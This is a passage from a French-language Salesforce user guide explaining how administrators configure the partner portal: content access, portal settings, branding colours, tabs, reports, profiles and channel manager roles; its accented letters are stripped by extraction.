au dplacement et au partage de contenu parmi les espaces de travail ainsi qu' la suppression de contenu. Ils peuvent aussi
consulter des rapports Salesforce CRM Content. La fonctionnalit de livraison de contenu n'est pas disponible pour les
utilisateurs du portail.

Activer Salesforce CRM Content pour des utilisateurs sans licence

Aprs avoir activ le portail partenaire, conformez-vous aux tapes suivantes pour activer Salesforce CRM Content dans vos
portails. Utilisez ces tapes si vous n'avez pas achet de licence de fonctionnalit Salesforce CRM Content pour vos utilisateurs
de portail.
1. Mettez jour vos profils clons d'utilisateurs partenaires :
a. Incluez l'autorisation utilisateur de consultation de contenu sur les portails.
b. Changez la visibilit des onglets pour les onglets des espaces de travail, du contenu et des abonnements de Onglet
masqu en Activ par dfaut.
c. Attribuez le profil mis jour aux utilisateurs du portail partenaire selon vos besoins.

Portail partenaire

Guide de l'utilisateur | Activation de Salesforce CRM Content dans le portail partenaire | 1581

2. Dterminez les privilges dont disposeront vos utilisateurs de portail dans chaque espace de travail Salesforce CRM Content
en crant une ou plusieurs autorisations sur les espaces de travail.
Remarque: Une autorisation sur un espace de travail ne peut accorder que les privilges qu'une licence de
fonctionnalit ou un profil autorisent. Par exemple, mme si Baliser le contenu est une option d'autorisation
sur l'espace de travail, le fait de la slectionner ne permet pas des utilisateurs ne disposant pas d'une licence de
fonctionnalit Salesforce CRM Content de baliser du contenu.
3. Dterminez les espaces de travail auxquels vous souhaitez que vos utilisateurs de portail aient accs. Vrifiez que le contenu
confidentiel n'est pas disponible dans ces espaces de travail.
4. Ajoutez des utilisateurs aux espaces de travail. Les utilisateurs de portail ayant un profil d'utilisateur partenaire ou un clone
de ce profil peuvent uniquement tre ajouts un espace de travail en tant que partie d'un groupe public.
5. Ajoutez les onglets Salesforce CRM Content chaque portail partenaire.
Remarque: L'onglet Documents ne fait pas partie de Salesforce CRM Content.

Activer Salesforce CRM Content pour des utilisateurs disposant d'une licence
Aprs avoir activ le portail partenaire, conformez-vous aux tapes suivantes pour activer Salesforce CRM Content dans vos
portails. Effectuez ces oprations si vous avez achet des licences de fonction Salesforce CRM Content pour vos utilisateurs
de portail.
1. Mettez jour vos profils clons d'utilisateurs partenaires :
a. Vous pouvez aussi ajouter une autorisation utilisateur de cration d'espaces de travail si vous souhaitez autoriser des
utilisateurs de portail crer et administrer de nouveaux espaces de travail.
b. Changez la visibilit des onglets pour les onglets des espaces de travail, du contenu et des abonnements de Onglet
masqu en Activ par dfaut.
c. Attribuez le profil mis jour aux utilisateurs du portail partenaire selon vos besoins. Pour plus d'informations,
reportez-vous Gestion des utilisateurs la page 93.
2. Cochez la case Utilisateur Salesforce CRM Content sur la page dtails utilisateurs de chaque utilisateur du portail
partenaire.
3. Dterminez les privilges dont disposeront vos utilisateurs de portail dans chaque espace de travail Salesforce CRM Content
en crant une ou plusieurs autorisations sur les espaces de travail.
Remarque: Une autorisation sur un espace de travail ne peut accorder que les privilges qu'une licence de
fonctionnalit ou un profil autorisent. Par exemple, mme si Baliser le contenu est une option d'autorisation
sur l'espace de travail, le fait de la slectionner ne permet pas des utilisateurs ne disposant pas d'une licence de
fonctionnalit Salesforce CRM Content de baliser du contenu.
4. Dterminez les espaces de travail auxquels vous souhaitez que vos utilisateurs de portail aient accs. Vrifiez que le contenu
confidentiel n'est pas disponible dans ces espaces de travail.
5. Ajoutez des utilisateurs aux espaces de travail. Les utilisateurs de portail ayant un profil d'utilisateur partenaire ou un clone
de ce profil peuvent uniquement tre ajouts un espace de travail en tant que partie d'un groupe public.
6. Ajoutez les onglets Salesforce CRM Content chaque portail partenaire.

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1582

Remarque: L'onglet Documents ne fait pas partie de Salesforce CRM Content.

Voir aussi :
Prsentation de Salesforce CRM Content
Activation du portail partenaire

Configuration du portail partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour configurer un portail partenaire :

Personnaliser l'application

Une fois que vous avez cr un portail partenaire, vous pouvez le personnaliser en fonction des besoins de votre entreprise. En
personnalisant votre portail partenaire, vous pouvez rpondre aux besoins de vos divers canaux. Par exemple, vous pouvez crer
un portail partenaire or qui comprend plus de fonctionnalits qu'un portail partenaire argent .
Pour personnaliser votre portail partenaire :
1.
2.
3.
4.
5.
6.
7.

Cliquez sur Configuration Personnalisation Partenaires Paramtres.

Cliquez sur le nom du portail personnaliser.
Configurer les paramtres du portail et les modles de communication.
Configurer les polices et les couleurs utilises dans le portail.
Configurer les onglets disponibles pour le portail.
Attribuer des profiles de partenaire au portail.
Configurer la langue du portail.
Remarque: Pour obtenir des instructions sur la faon de rendre Salesforce CRM Content accessible pour vos utilisateurs
portail partenaire, reportez-vous Activation de Salesforce CRM Content dans le Portail partenaire la page 1580.

Voir aussi :
Paramtres du portail partenaire
Cration de Portails partenaire
Meilleures pratiques du portail partenaire
Configuration de l'accs mobile pour les utilisateurs partenaires

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1583

Paramtres du portail partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour modifier les paramtres de portail partenaire :

Personnaliser l'application

Pour modifier les paramtres et les modles de communication pour un portail partenaire :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Partenaires Paramtres.

Cliquez sur le nom du portail modifier.
Cliquez sur Modifier.
Configurez les options suivantes :
Paramtre

Description

Nom

Nom du portail partenaire tel qu'il s'affiche dans les pages

de dtails et de modification du portail, ainsi que dans la
page de configuration du portail partenaire. Le nom du
portail partenaire ne s'affiche pas dans les pages du portail.
Il apparat en revanche dans la barre de titre du navigateur.
Le nom du portail doit tre unique pour votre organisation
et pas dj utilis dans le portail client ou le portail
partenaire. En outre, une erreur peut se produire si vous
nommez un portail client portail partenaire ou
inversement.

Description

Description du portail partenaire tel qu'il s'affiche dans les

pages de dtails et de modification du portail. La description
du portail partenaire ne s'affiche pas dans le portail.

Connexion active

Permet aux utilisateurs de se connecter au portail partenaire.

Nous recommandons de ne pas cocher cette case tant que le
portail n'est pas compltement configur.
Remarque: Lorsque vous activez le portail
partenaire, le portail par dfaut est configur comme
Connexion active.

Administrateur

Cliquez sur l'icne de recherche ( ) pour slectionner

l'administrateur par dfaut de votre portail partenaire. Toutes
les notifications par e-mail concernant votre portail
partenaire sont transmises cet utilisateur Salesforce.com.

Portail partenaire

Paramtre

Guide de l'utilisateur | Configuration du portail partenaire | 1584

Description
Lors du choix d'un administrateur pour votre portail
partenaire, vous pouvez slectionner uniquement les
utilisateurs qui disposent de l'autorisation Grer les
partenaires et de l'accs au dossier Documents qui contient
l'En-tte de votre portail partenaire. Il est impossible de
dsactiver l'utilisateur dsign comme administrateur du
portail. Pour plus d'informations, reportez-vous
Dsactivation des utilisateurs la page 97.

Paramtres par dfaut du portail

Paramtre

Description

URL de dconnexion

URL de la page Web qui s'affiche lorsque les utilisateurs se

dconnectent du portail partenaire (par exemple,
http://www.acme.com ). Si une URL de dconnexion
n'est pas spcifie, les utilisateurs du portail reviennent la
page de connexion lorsqu'ils se dconnectent.

Afficher la confirmation d'action

Permet aux utilisateurs de visualiser des messages de

confirmation aprs avoir effectu une action sur le portail
partenaire. Par exemple, aprs avoir cr une piste sur votre
portail partenaire, l'utilisateur visualise le message suivant :
La piste a t cre (si le paramtre a t activ).
Les messages de confirmation peuvent aider les utilisateurs
bien comprendre les actions qu'ils ont effectues sur votre
portail partenaire.

Langue par dfaut des messages HTML

Spcifie la langue dans laquelle les messages HTML du

portail sont affichs lorsque la les messages HTML du portail
dans langue personnalise ne sont pas configurs. Ce
paramtre n'est disponible que pour les entreprises pour
lesquelles plusieurs langues sont actives.

Paramtres de notification de message

Paramtre

Description

partir de l'adresse e-mail

Adresse e-mail partir de laquelle tous les modles de

communication du portail partenaire sont envoys (par
exemple, support@acme.com ). Salesforce.com envoie les
e-mails automatiquement, mais ils s'affichent pour les
utilisateurs du portail comme s'ils taient envoys depuis
cette adresse e-mail. Si un utilisateur du portail rpond un
modle de communication, la rponse est envoye cette
adresse.

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1585

Paramtres de notification de message

Paramtre

Description

partir de l'adresse lectronique

Nom associ au champ Adresse e-mail De (par exemple,

Support partenaire Acme ).

Modle de nouvel utilisateur

Modle de message utilis pour l'envoi d'un nom d'utilisateur

et d'un mot de passe initial tous les nouveaux utilisateurs
du portail partenaire. Par dfaut, un exemple de modle est
automatiquement slectionn. Pour crer votre propre
modle ou modifier l'exemple, reportez-vous Gestion des
modles de message la page 76. Ce modle doit avoir
l'attribut Disponible.

Modle de nouveau mot de passe

Modle de message utilis pour l'envoi d'un nouveau mot

de passe aux utilisateurs actuels du portail partenaire lorsque
vous rinitialisez leur mot de passe.

Modle de mot de passe perdu

Modle d'e-mail utilis pour envoyer un nouveau mot de

passe aux utilisateurs actuels du portail partenaire lorsqu'ils
rinitialisent leur propre mot de passe en cliquant sur Vous
avez oubli votre mot de passe ? dans la page de connexion
du portail partenaire.

Remplacer le responsable par le modle des Modle d'e-mail permettant d'envoyer une notification aux
utilisateurs du portail
utilisateurs du portail partenaire lorsqu'ils deviennent les

nouveaux responsables d'un enregistrement du portail.

Apparence
Paramtre

Description

En-tte

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans l'
en-tte de votre portail partenaire. Cliquez sur l'icne de
recherche ( ) pour choisir un fichier tlcharg vers un
dossier accessible au public dans l'onglet Documents.
Les fichiers que vous incluez dans les champs de recherche
En-tte et Pied de page peuvent atteindre, eux seuls,
une taille maximale de 10 Ko.
Nous vous conseillons de ne pas ajouter d'en-tte, ni de logo
votre portail car il est possible que leur affichage simultan
ne soit pas satisfaisant.
Vous pouvez positionner le lien Dconnexion n'importe o
dans l'en-tte grce la balise HTML : <a
href="/secur/logout.jsp">Dconnexion</a>.

Pied de page

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans le pied

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1586

Apparence
Paramtre

Description
de page de votre portail partenaire. Cliquez sur l'icne de
recherche ( ) pour choisir un fichier tlcharg vers un
dossier accessible au public dans l'onglet Documents.
Les fichiers que vous incluez dans les champs de recherche
En-tte et Pied de page peuvent atteindre, eux seuls,
une taille maximale de 10 Ko.

Logo

Fichier image (.jpg, .gif, .png) vous permettant d'inclure

l'identification de la marque de votre entreprise dans l'en-tte
situ dans la partie suprieure gauche de votre portail
partenaire. Cliquez sur l'icne de recherche ( ) pour choisir
un fichier tlcharg vers un dossier accessible au public dans
l'onglet Documents et signal comme tant une Image
accessible en externe.
La taille du fichier que vous incluez dans le champ de
recherche Logo peut atteindre 20 Ko.
Nous vous conseillons de ne pas ajouter d'en-tte, ni de logo
votre portail car il est possible que leur affichage simultan
ne soit pas satisfaisant.

Message de connexion

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans l'en-tte
de la page de connexion, de la page Vous avez oubli votre
mot de passe et de la page Modifier le mot de passe de votre
portail partenaire. Cliquez sur l'icne de recherche ( ) pour
choisir un fichier tlcharg vers un dossier accessible au
public dans l'onglet Documents.
La taille du fichier que vous incluez dans le champ de
recherche Message de connexion peut atteindre 2 Ko.
Remarque: Les codes JavaScript et CSS sont
automatiquement supprims dans les fichiers HTML
utiliss comme messages de connexion au portail.

5. Cliquez sur Enregistrer.

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1587

Dfinition des polices et des couleurs pour votre Portail Partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour configurer les polices et les couleurs pour un portail
partenaire

Personnaliser l'application

Vous pouvez personnaliser les polices et les couleurs du portail partenaire Salesforce.com pour qu'il reflte la marque de votre
socit. Les polices et couleurs de votre portail sont spcifies dans un portail appel Modle de couleur. Slectionnez un
modle de couleur prdfini et personnalisez-le ventuellement pour qu'il corresponde mieux l'image de votre marque. Vous
pouvez cliquer sur le lien Voir des exemples pour consulter tous les attributs de modle que vous pouvez personnaliser.
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Partenaires Paramtres.

Slectionnez le nom de votre portail partenaire.
Cliquez sur Modifier les couleurs et polices du portail.
Slectionnez un modle de couleur dans la liste droulante Modle de couleur. Slectionnez Personnaliser dans la liste
droulante Modle de couleur pour crer intgralement votre propre modle.

Un aperu du modle de couleur slectionn s'affiche automatiquement dans les sections Aperu.
5. Vous pouvez personnaliser la couleur du modle slectionn en effectuant l'une des oprations suivantes :

Entrez une valeur hexadcimale dans un attribut de modle ou

Cliquez sur la valeur hexadcimale d'un attribut de modle et slectionnez une couleur dans l'diteur de type pointer
cliquer.

Lorsque vous personnalisez un modle, il est automatiquement renomm Personnalis lors de l'enregistrement. Vous
pouvez personnaliser les options suivantes. Ds qu'elles sont personnalises, elles s'affichent automatiquement dans les
sections Aperu :
Styles d'onglet
Attribut de modle

Description

Texte d'onglet en cours

Couleur du texte de l'onglet que les utilisateurs ont

slectionn.

Arrire-plan d'onglet en cours

Couleur d'arrire-plan de l'onglet que les utilisateurs ont

slectionn.

Bordure d'onglet en cours

Couleur de bordure de l'onglet que les utilisateurs ont

slectionn.

Texte des autres onglets

Couleur du texte des onglets que les utilisateurs n'ont pas

slectionns.

Arrire-plan des autres onglets

Couleur d'arrire-plan des onglets que les utilisateurs n'ont

pas slectionns.

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1588

Styles d'onglet
Attribut de modle

Description

Bordure des autres onglets

Couleur de bordure des onglets que les utilisateurs n'ont pas

slectionns.

Arrire-plan de la barre d'onglets

Couleur d'arrire-plan derrire tous les onglets.

Styles de page
Attribut de modle

Description

Arrire-plan de la page

Couleur d'arrire-plan du portail, sauf pour la recherche, les

listes associes, les lments rcents, les catgories de
solutions, les dossiers de documents et la liste droulante
Crer.

Texte

Couleur, taille et police du texte sur tous les lments du

portail sauf les onglets, les boutons, les en-ttes et les
tiquettes de champ.
Vous pouvez ventuellement modifier le pourcentage affich
dans le champ prvu cet effet pour augmenter ou diminuer
la taille de tous les lments du portail. En outre, vous pouvez
modifier la police de tous les lments du portail, sauf les
onglets, les boutons, les en-ttes et les tiquettes de champ
partir de la liste droulante.

Texte d'tiquette du champ

Couleur du texte des noms de champ sur les enregistrements.

Vous pouvez ventuellement modifier la police du texte
partir de la liste droulante.

Lien

Couleur du texte de tous les liens.

Placement de lien

Couleur du texte de tous les liens que l'utilisateur survole.

Sparateur de champ

Couleur des lignes qui sparent les champs dans les

enregistrements.

Bordure infrieure

Couleur de la ligne constituant la bordure infrieure du

portail.

Styles de section
Attribut de modle

Description

Arrire-plan d'en-tte

Couleur d'arrire-plan de tous les en-ttes, y compris la

recherche, les lments rcents, les listes associes, les
catgories de solutions, les dossiers de documents et l'onglet
slectionn.

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1589

Styles de section
Attribut de modle

Description

Texte de l'en-tte de la section

Couleur et police du texte des en-ttes de recherche, des

listes associes, des lments rcents, des catgories de
solutions et des dossiers de documents.
Vous pouvez ventuellement modifier la police du texte
partir de la liste droulante.

Bordure gauche

Bordure gauche de la recherche, des listes associes, des

lments rcents, des catgories de solutions, des dossiers de
documents et de la liste droulante Crer.
Vous pouvez ventuellement modifier le nombre de pixels
affichs dans le champ prvu cet effet pour augmenter ou
diminuer l'paisseur de la bordure. En outre, vous pouvez
slectionner le style de la ligne affiche comme bordure
partir de la liste droulante.

Bordure droite

Bordure droite de la recherche, des listes associes, des

lments rcents, des catgories de solutions, des dossiers de
documents et de la liste droulante Crer.
Vous pouvez ventuellement modifier le nombre de pixels
affichs dans le champ prvu cet effet pour augmenter ou
diminuer l'paisseur de la bordure. En outre, vous pouvez
slectionner le style de la ligne affiche comme bordure
partir de la liste droulante.

Bordure suprieure

Bordure au-dessus de la recherche, des listes associes, des

lments rcents, des catgories de solutions, des dossiers de
documents et de la liste droulante Crer.
Vous pouvez ventuellement modifier le nombre de pixels
affichs dans le champ prvu cet effet pour augmenter ou
diminuer l'paisseur de la bordure. En outre, vous pouvez
slectionner le style de la ligne affiche comme bordure
partir de la liste droulante.

Bordure infrieure

Bordure au-dessous de la recherche, des listes associes, des

lments rcents, des catgories de solutions, des dossiers de
documents et de la liste droulante Crer.
Vous pouvez ventuellement modifier le nombre de pixels
affichs dans le champ prvu cet effet pour augmenter ou
diminuer l'paisseur de la bordure. En outre, vous pouvez
slectionner le style de la ligne affiche comme bordure
partir de la liste droulante.

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1590

Styles de section
Attribut de modle

Description

Arrire-plan de section

Couleur d'arrire-plan de la recherche, des listes associes,

des lments rcents, des catgories de solutions, des dossiers
de documents et de la liste droulante Crer.

Styles de liste
Attribut de modle

Description

Texte d'en-tte de liste

Couleur du texte des noms de champ slectionns comme

en-ttes de colonnes dans les vues de liste.
Vous pouvez ventuellement modifier la police du texte
partir de la liste droulante.

Soulignement d'en-tte

Couleur des lignes au-dessous des en-ttes de colonne dans

les listes associes et les vues de liste.

Sparateur

Couleur des lignes entre les enregistrements dans les vues

de liste.

Surlignage de ligne

Couleur d'un enregistrement que utilisateur survole dans la

liste de vues.

6. Cliquez sur Enregistrer pour enregistrer toutes les modifications apportes aux valeurs du modle.
Conseil: Les modifications sont visibles par les utilisateurs du portail partenaire lorsqu'ils actualisent leur navigateur.
C'est la raison pour laquelle nous vous recommandons de mettre jour le modle de couleurs de votre portail au
moment o les utilisateurs sont moins susceptibles de consulter votre portail partenaire.

Personnalisation des onglets de votre portail partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser les onglets du portail partenaire :

Personnaliser l'application

En plus des objets personnaliss, les onglets suivants peuvent tre affichs dans le portail partenaire :

Comptes
Requtes
Contacts
Documents

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1591

Ides
Pistes
Opportunits
Solutions
Onglets Salesforce CRM Content
Rapports

Vous pouvez choisir les onglets que peuvent voir les utilisateurs connects un portail PartenaireSalesforce.com et personnaliser
leur ordre de prsentation :
Cliquez sur Configuration Personnalisation Partenaires Paramtres.
Slectionnez le nom de votre portail partenaire.
Cliquez sur Personnaliser les onglets du portail.
Pour ajouter ou supprimer des onglets, slectionnez un titre d'onglet et cliquez sur la flche Ajouter ou Supprimer dans
la zone Onglets slectionns. Pour modifier l'ordre des onglets, slectionnez un titre d'onglet dans la zone Onglets
slectionns, puis cliquez sur la flche Haut ou Bas.
5. Si vous le dsirez, vous pouvez slectionner, dans la liste droulante Onglet de destination par dfaut, l'onglet
que peuvent voir les utilisateurs lorsqu'ils se connectent au portail.
6. Cliquez sur Enregistrer.
1.
2.
3.
4.

Vous pouvez limiter plus encore les onglets affichs pour des profils spcifiques en modifiant les paramtres des onglets du
profil. Par exemple, votre portail est configur pour affich l'onglet Comptes. Le profil Partenaire Silver contient l'onglet
Compte affect de la valeur Onglet masqu. Lorsqu'un utilisateur avec ce profil se connecte, il voit l'onglet Compte, mais
les utilisateurs ayant des profils diffrents ne le voient pas. Pour plus d'informations sur les paramtres d'onglet et les profils,
reportez-vous Cration et modification de profils la page 113.
Conseil: Un utilisateur partenaire peut se connecter plusieurs portails partenaires. Chaque portail peut afficher
diffrents onglets pour des utilisateurs ayant le mme profil, du moment que le profil a accs tous les objets qui
apparaissent dans l'onglet.
Les prsentations de pages des onglets sur le portail partenaire sont contrles par les prsentations de pages dfinies dans les
profils affects au portail.
Pour changer les prsentations de pages d'un profil :
1.
2.
3.
4.
5.
6.
7.

Cliquez sur Configuration Personnalisation Partenaires Paramtres.

Slectionnez le nom de votre portail partenaire.
Slectionnez le nom du profil modifier dans la liste associe Profils attribus.
Cliquez sur Afficher attribution sous les prsentations de pages ct de l'objet personnalis ou standard modifier.
Cliquez sur Modifier l'attribution.
Slectionnez une nouvelle prsentation de page ct du nom du profil que vous modifiez.
Cliquez sur Enregistrer.

Pour plus d'informations sur la modification des prsentations de pages, reportez-vous Personnalisation des prsentations
de pages la page 546.
Activation du calendrier et des vnements dans l'onglet Accueil
Vous pouvez permettre aux utilisateurs partenaires de voir une vue de calendrier et une liste d'vnements planifis dans l'onglet
Accueil du portail partenaire. Le calendrier et les vnements dans le portail Partenaire fonctionnent de la mme manire que
ceux de l'onglet Accueil de Salesforce.com, avec les exceptions suivantes : la correction orthographique, la mise jour des

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1592

vnements, les vues tendues de liste, la planification par glisser-dplacer et l'affichage des informations en laissant le pointeur
sur un lment ne sont pas pris en charge dans le portail partenaire. Pour permettre aux utilisateurs de voir le calendrier dans
l'onglet Accueil, ajoutez-le la prsentation de page Accueil des profils des partenaires appropris. Pour plus d'informations
sur la modification de la prsentation de la page d'accueil, reportez-vous Personnalisation des prsentations de page de l'onglet
Accueil la page 568.
Les utilisateurs du portail peuvent afficher les tches et les vnements depuis leur calendrier. En outre, les utilisateurs du
portail autoriss modifier les vnements dans leur profil peuvent crer, modifier et supprimer des vnements. Pour plus
d'informations sur la modification des autorisations des utilisateurs, reportez-vous Cration et modification des profils la
page 113.
Permettre aux utilisateurs du portail d'afficher l'onglet Rapports
Pour autoriser des utilisateurs du portail consulter l'onglet Rapports :
1. Accordez aux utilisateurs du portail l'accs aux dossiers de vos Rapports Salesforce.com qui contiennent les rapports
excuter.
2. Configurez le modle de partage par dfaut l'chelle de votre entreprise sur Priv pour des objets sur lesquels vous souhaitez
que les utilisateurs du portail fassent des rapports.
3. Attribuez des utilisateurs du portail des profils qui comprennent l'autorisation d'excution de rapports.
Pour plus d'informations, reportez-vous Prsentation des rapports la page 1677, Cration et modification de dossiers la
page 576 et Configuration de modle de partage par dfaut l'chelle de votre entreprise la page 163.
Lorsque vous ajoutez l'onglet Rapports votre portail partenaire, les utilisateurs du portail :

Peuvent excuter des rapports, mais il ne peuvent pas les personnaliser, ni filtrer les rsultats des rapports.
peuvent exporter des rapports vers Excel si leur profil inclut l'autorisation d'exporter des rapports.
n'ont pas accs aux dossiers Rapports publics non classs et Mes rapports personnels personnaliss.
reoivent une erreur de privilges insuffisants s'ils excutent un rapport qui comprend des objets qu'ils n'ont pas l'autorisation
de consulter.
Remarque: L'onglet Rapports n'est disponible que pour les utilisateurs partenaires disposant d'une licence Partenaire
Gold ou Silver.

Autoriser les utilisateurs du portail accder l'onglet Ides

Pour permettre aux utilisateurs de participer une communaut sur l'onglet Ides, crez une communaut Salesforce CRM
Ideas qui est active et configure pour s'afficher sur le portail. Pour plus d'informations, reportez-vous Cration et modification
de communauts la page 1477.

Portail partenaire

Guide de l'utilisateur | Configuration du portail partenaire | 1593

Attribution de profils de partenaire des portails partenaires

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour attribuer des profils de partenaire des portails
partenaires :

Personnaliser l'application

Les utilisateurs du portail ne peuvent se connecter qu'aux portails partenaires attribus leur profil. Pour attribuer un profil
un portail partenaire :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Partenaires Paramtres.

Slectionnez le nom de votre portail partenaire.
Cliquez sur Modifier les profils dans la section Profils attribus.
Cochez la case Actif en regard du profil que vous souhaitez attribuer au portail.

Un utilisateur du portail peut accder tout le portail partenaire attribu son profil grce un nom d'utilisateur ou un mot
de passe.
Vous pouvez voir le nombre d'utilisateurs actifs associs chaque profil attribu un portail partenaire dans le champ
Utilisateurs de la section relative aux profils attribus.
Pour crer et modifier des profils d'utilisateurs partenaires, reportez-vous Cration et modification de profils la page 113.

Configuration des messages HTML dans plusieurs langues

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour configurer les langues dans les portails :

Personnaliser l'application

Si plusieurs langues sont actives pour votre organisation, vous pouvez tlcharger les messages HTML dans n'importe quelle
langue prise en charge par Salesforce.com et configurer les messages afficher sur le portail en fonction des paramtres de
langue des utilisateurs du portail. Par exemple, vous pouvez tlcharger un message HTLM en franais pour l'afficher dans
l'onglet Accueil des utilisateurs franais du portail et un message HTML en anglais dans l'onglet Accueil pour les utilisateurs
anglophones du portail.
Tenez compte des points suivants avant de configurer des messages HTML multilingues :

Pour pouvoir ajouter un message HTML multilingue un portail, vous devez tlcharger le fichier HTML dans l'onglet
Documents. Pour plus d'informations, reportez-vous Tlchargement et remplacement de documents la page 1380.
Mme si vous les avez configurs, les messages HTML du portail ne s'affichent pas dans les onglets Ides, Rapports,
Contenu et Solutions.

Portail partenaire

Guide de l'utilisateur | A propos de la gestion de lutilisateur du portail partenaire | 1594

Pour configurer des messages HTML dans plusieurs langues :

1. Pour configurer une langue d'affichage pour le portail partenaire, cliquez sur Configuration Personnalisation
Partenaires Paramtres. Pour configurer une langue d'affichage pour le portail Client, cliquez sur Configuration
Personnalisation Portail Client Paramtres.
2. Cliquez sur le nom du portail modifier.
3. Cliquez sur Ajouter une nouvelle langue dans la liste associe des langues attribues.
4. Slectionnez une langue dans la liste droulante Langue.
5. Cliquez sur l'icne de recherche ( ) en regard d'un nom d'onglet, puis slectionnez le message HTML afficher dans
l'onglet. Vous pouvez rpter cette opration pour chaque onglet qui doit afficher un message HTML.
6. Cliquez sur Enregistrer.
Pour plus d'informations sur la modification des paramtres de langue des utilisateurs des portails, reportez-vous Gestion
des utilisateurs la page 93.

A propos de la gestion de lutilisateur du portail partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Les utilisateurs PRM peuvent tre de deux types : responsables de canaux et utilisateurs partenaires.
Les responsables de canaux sont des utilisateurs internes chargs de grer les relations partenaires. Avant d'activer un portail,
vous devez personnaliser les profils des responsables de canaux de sorte que ces responsables soient en mesure de grer les
partenaires.
Les utilisateurs partenaires n'appartiennent pas votre entreprise, mais vendent vos produits ou services par l'intermdiaire de
canaux de distribution indirects. Vos utilisateurs partenaires utilisent le portail pour se connecter Salesforce.com. Une fois
connects, ils accdent toutes les informations que vous mettez leur disposition. Vous devez prendre les mesures qui
s'imposent pour protger les informations confidentielles ou internes de votre entreprise.

Voir aussi :
Gestions des utilisateurs partenaires
A propos de la gestion de lutilisateur responsable de canal du portail partenaire
Meilleures pratiques du portail partenaire
Dlgation de l'administration des utilisateurs partenaires
Utilisation des utilisateurs partenaires
Activation des e-mails dans le Portail partenaire
Affectation d'vnements aux utilisateurs partenaires
Activation de requtes dans le Portail partenaire

Portail partenaire

Guide de l'utilisateur | A propos de la gestion de lutilisateur du portail partenaire | 1595

A propos de la gestion de lutilisateur responsable de canal du portail

partenaire
Disponible dans : Enterprise Edition et Unlimited Edition

Les responsables de canaux sont des utilisateurs internes chargs de grer les relations partenaires. Avant d'activer un portail
partenaire, vous devez personnaliser les profils des responsables de canaux de sorte que ces responsables soient en mesure de
grer les partenaires.
Deux lments sont proposs pour la configuration des responsables de canaux : les profils et les rles.
Rles du responsable de canaux
La hirarchie des rles au sein de votre entreprise dtermine le type de donnes auxquelles vos utilisateurs peuvent accder.
Les utilisateurs peuvent toujours visualiser et modifier les dossiers en leur possession. De plus, les utilisateurs peuvent afficher,
modifier et gnrer des rapports sur les donnes dtenues ou partages par des utilisateurs en aval. Les rles des responsables
de canaux sont toujours directement suprieurs aux rles des utilisateurs partenaires dans la hirarchie. Ils ont donc accs aux
donnes appartenant aux partenaires dont ils assurent la gestion. Lorsque des utilisateurs partenaires sont crs dans un compte
partenaire, Salesforce.com place automatiquement le rle de l'utilisateur partenaire un niveau infrieur celui du responsable
de canaux qui contrle ce compte. Pour vous aider crer des responsables de canaux et des utilisateurs partenaires, crez une
structure contenant des rles de responsables de canaux logiques.
Profils du responsable de canaux
Les profils indiquent les autorisations dont disposent les utilisateurs, les prsentations de page, les onglets et les types
d'enregistrement qui sont leur disposition, ainsi que d'autres paramtres. Crez un profil unique et envisagez les paramtres
en fonction des besoins des responsables de canaux. Inspirez-vous des conseils suivants lors de la cration de ce profil :
Autorisez aux responsables de canaux l'accs aux onglets suivants :
Pistes, Comptes, Contacts, Opportunits, Documents et Produits. Si vous souhaitez utiliser des solutions ou des objets
personnaliss, rendez-les accessibles vos responsables de canaux.
Attribution de types d'enregistrement
Attribuez les types d'enregistrement de piste adquats aux profils de vos responsables de canaux. Pour plus d'informations
sur l'utilisation des types d'enregistrement relatifs aux processus impliquant les partenaires commerciaux, reportez-vous
Mise en uvre de l'enregistrement de l'affaire PRM la page 1650.
Affectation de prsentations de page
Affectez les prsentations de page adquates aux profils de vos responsables de canaux. Vrifiez que les boutons Activer
la connexion au portail Partenaires et Afficher l'utilisateur du portail Partenaires sont inclus dans la prsentation de
page du contact pour vos responsables de canaux.
Activation de l'autorisation de gestion des partenaires
Lorsqu'ils disposent de cette autorisation, les responsables de canaux peuvent activer de nouveaux comptes partenaires
et de nouveaux utilisateurs partenaires.
Faites en sorte que les responsables de canaux aient accs au champ Compte partenaire pour les pistes, les comptes
et les opportunits.
Les responsables de canaux pourront ainsi crer des vues de liste ou des rapports permettant d'assurer le suivi des activits
des partenaires.

Portail partenaire

Guide de l'utilisateur | A propos de la gestion de lutilisateur du portail partenaire | 1596

Faites en sorte que les responsables de canaux aient accs au champ Date du dernier transfert pour les pistes.
Les responsables de canaux pourront ainsi crer des vues de liste ou des rapports permettant d'assurer le suivi des activits
des partenaires.
Conseils supplmentaires

Cration d'un groupe public pour les responsables de canaux. Vous pouvez utiliser ce groupe pour filtrer et contrler l'accs
aux documents. Pour plus d'informations, reportez-vous Cration et modification de groupes la page 136.
Cration d'une file d'attente de piste pour les responsables de canaux. Vous pouvez utiliser cette file d'attente pour les rgles
d'affectation des pistes. Pour plus d'informations, reportez-vous Configuration de files d'attente la page 140.

Gestions des utilisateurs partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour grer les utilisateurs du portail partenaire :

Grer les partenaires

Pour crer, modifier et supprimer des profils :
